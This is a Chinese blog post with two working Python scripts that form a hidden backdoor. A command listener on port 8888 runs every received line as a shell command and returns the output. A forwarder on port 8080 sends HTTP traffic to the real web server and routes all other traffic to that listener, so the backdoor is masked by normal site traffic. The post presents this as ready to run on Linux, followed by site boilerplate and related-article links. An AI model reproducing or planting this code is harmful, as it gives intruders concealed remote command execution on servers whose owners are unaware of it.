python基于socket进行端口转发实现后门隐藏的示例


Posted in Python onJuly 25, 2019

思想:

用户正常浏览器访问请求通过8080端口,请求若为http请求,则正常转发到80端口保证网站正常运行。否则转发到8888端口执行系统命令。

8888端口监听代码:

#!/usr/bin/env python
from socket import *
import os

HOST='127.0.0.1'
PORT=8888
BUFSIZE=1024
ADDR=(HOST,PORT)

tcpSerSock = socket(AF_INET,SOCK_STREAM)
tcpSerSock.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)
tcpSerSock.bind(ADDR)
tcpSerSock.listen(5)

while True:
  print("waiting for connection...")
  tcpCliSock,addr = tcpSerSock.accept()
  print("...connected from:",addr)
  
  while True:
    data=tcpCliSock.recv(BUFSIZE)
    if not data:
      break
    info = data.split('\n')
    command = info[0]
    try:
      os.system(command + " > command.txt");
      file = open('command.txt')
      data =""
      for line in file:
        data=data+line;
      tcpCliSock.send(data)
    except Exception:
      tcpCliSock.send("Nothing to do")

  tcpCliSock.close()
tcpSerSock.close()

8080端口转发代码:

#!/usr/bin/python
from socket import *

tcp1 = socket(AF_INET,SOCK_STREAM)

tcp1.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)

tcp1.bind(('0.0.0.0',8080))
tcp1.listen(10)

BUFFER_SIZE=2048
tcpCliSock,addr = tcp1.accept()
while True:
  data = tcpCliSock.recv(BUFFER_SIZE)
  if 'HTTP' in data:
    tcp3 = socket(AF_INET,SOCK_STREAM)
    tcp3.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)
    tcp3.connect(('127.0.0.1',80))
    tcp3.send(data)
    htmlinfo = tcp3.recv(2048)
    if not htmlinfo:
      tcp3.close()
    else:
      tcpCliSock.send(htmlinfo)
  else:
    tcp2 = socket(AF_INET,SOCK_STREAM)
    tcp2.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)
    tcp2.connect(('127.0.0.1',8888))
    data = data.replace("\n"," ")
    print data
    tcp2.send(data)
    commandinfo = tcp2.recv(1024)
    tcpCliSock.send(commandinfo)
    tcp2.close()
tcpCliSock.close()
tcp1.close()

有些地方还有些小问题等待修正,但是linux下是可以完美运行的。欢迎学习交流。

以上这篇python基于socket进行端口转发实现后门隐藏的示例就是小编分享给大家的全部内容了,希望能给大家一个参考,也希望大家多多支持三水点靠木。

Python 相关文章推荐
尝试使用Python多线程抓取代理服务器IP地址的示例
Nov 09 Python
python用户管理系统
Mar 13 Python
Python遍历某目录下的所有文件夹与文件路径
Mar 15 Python
python logging日志模块以及多进程日志详解
Apr 18 Python
Python爬虫实现验证码登录代码实例
May 10 Python
Python Threading 线程/互斥锁/死锁/GIL锁
Jul 21 Python
pytorch torchvision.ImageFolder的用法介绍
Feb 20 Python
设置jupyter中DataFrame的显示限制方式
Apr 12 Python
浅谈Pycharm的项目文件名是红色的原因及解决方式
Jun 01 Python
使用tkinter实现三子棋游戏
Feb 25 Python
python读取pdf格式文档的实现代码
Apr 01 Python
Python torch.flatten()函数案例详解
Aug 30 Python
Django实现跨域请求过程详解
Jul 25 #Python
Django Rest framework认证组件详细用法
Jul 25 #Python
Django Rest framework权限的详细用法
Jul 25 #Python
Django Rest framework解析器和渲染器详解
Jul 25 #Python
Django Form 实时从数据库中获取数据的操作方法
Jul 25 #Python
Django MEDIA的配置及用法详解
Jul 25 #Python
Django打印出在数据库中执行的语句问题
Jul 25 #Python
You might like
Thinkphp5.0框架视图view的循环标签用法示例
2019/10/12 PHP
PHP 进程池与轮询调度算法实现多任务的示例代码
2019/11/26 PHP
Javascript注入技巧
2007/06/22 Javascript
javascript 流畅动画实现原理
2009/09/08 Javascript
Javascript下判断是否为闰年的Datetime包
2010/10/26 Javascript
File, FileReader 和 Ajax 文件上传实例分析(php)
2011/04/27 Javascript
全面理解面向对象的 JavaScript(来自ibm)
2013/11/10 Javascript
使用js判断TextBox控件值改变然后出发事件
2014/03/07 Javascript
Extjs表单常见验证小结
2014/03/07 Javascript
jQuery实现当前页面标签高亮显示的方法
2015/03/10 Javascript
原生js页面滚动延迟加载图片
2015/12/20 Javascript
js创建jsonArray传输至后台及后台全面解析
2016/04/11 Javascript
简单实现js悬浮导航效果
2017/02/05 Javascript
详解node.js平台下Express的session与cookie模块包的配置
2017/04/26 Javascript
requirejs按需加载angularjs文件实例
2017/06/08 Javascript
node.js中路由,中间件,ge请求和post请求的参数详解
2017/12/26 Javascript
js使用swiper实现层叠轮播效果实例代码
2018/12/12 Javascript
详解element-ui级联菜单(城市三级联动菜单)和回显问题
2019/10/02 Javascript
基于form-data请求格式详解
2019/10/29 Javascript
[01:16:01]VGJ.S vs Mski Supermajor小组赛C组 BO3 第一场 6.3
2018/06/04 DOTA
[46:28]EG vs Liquid 2019国际邀请赛淘汰赛 败者组 BO3 第二场 8.23
2019/09/05 DOTA
Python MySQLdb模块连接操作mysql数据库实例
2015/04/08 Python
Python数据结构与算法之列表(链表,linked list)简单实现
2017/10/30 Python
python射线法判断检测点是否位于区域外接矩形内
2019/06/28 Python
Python网络爬虫四大选择器用法原理总结
2020/06/01 Python
Python爬虫新手入门之初学lxml库
2020/12/20 Python
CSS Grid布局教程之浏览器开启CSS Grid Layout汇总
2014/12/30 HTML / CSS
DJI美国:消费类无人机领域的领导者
2018/04/27 全球购物
毕业生求职推荐信
2013/11/04 职场文书
学校感恩教育活动总结
2014/07/07 职场文书
2014年检验员工作总结
2014/11/19 职场文书
大学生敬老院活动总结
2015/05/07 职场文书
2015年文秘个人工作总结
2015/10/14 职场文书
python实现腾讯滑块验证码识别
2021/04/27 Python
总结Python常用的魔法方法
2021/05/25 Python
vue如何实现关闭对话框后刷新列表
2022/04/08 Vue.js